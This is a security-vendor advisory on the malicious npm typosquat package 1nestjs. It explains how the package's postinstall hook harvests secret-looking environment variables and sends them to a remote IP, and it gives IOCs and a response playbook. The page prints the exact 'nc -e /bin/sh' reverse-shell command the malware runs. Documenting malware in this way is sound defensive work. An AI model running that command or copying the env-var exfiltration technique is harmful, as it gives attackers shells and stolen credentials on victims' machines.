Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

1nestjsnpm

Advisory published Updated

1nestjs is a confirmed malicious npm package (MAL-2026-15909) that steals credentials and exfiltrates sensitive data (malicious version 0.0.1). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in 1nestjs (npm)

MAL-2026-15909
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall 1nestjs

What this malware does

Package name typosquats nestjs and declares postinstall: node index.js in package.json, so index.js runs automatically during npm install. index.js iterates process.env, selects keys matching /^(SECRET|API|TOKEN|KEY)/, and writes the collected values as JSON over a raw TCP connection to 84.32.22.44:9999 (host loaded from servers.json). The same script executes nc -e /bin/sh 84.32.22.44 9999, giving the remote host an interactive shell on the installer's machine. package.json metadata self-identifies as a typosquat (description "Typosquat of nestjs", author "typosquat-bot").

The OpenSSF Package Analysis project identified '1nestjs' @ 0.0.1 (npm) as malicious.

It is considered malicious because:

  • The package executes one or more commands associated with malicious behavior.

Malicious versions

1 flagged
0.0.1

Indicators of compromise (SHA-256)

bb3da821e3a6871a3e9c27009b213a63c1168355f30084686142c1253603eb71
71ec2f3aadbe93023b18621b07d44da99f2d1a232a2905add322260456c9ef43

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for 1nestjs (version 0.0.1).

  2. If you installed it — respond

    1nestjs is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If 1nestjs was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. 1nestjs on npm has been identified as a malicious package (version 0.0.1 flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-019473

References

Credits

  • Amazon Inspector · finder
  • OpenSSF: Package Analysis · finder

Detect & block this

O3 blocks 1nestjs-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

1nestjs (npm) malicious package — MAL-2026-15909 | O3 Security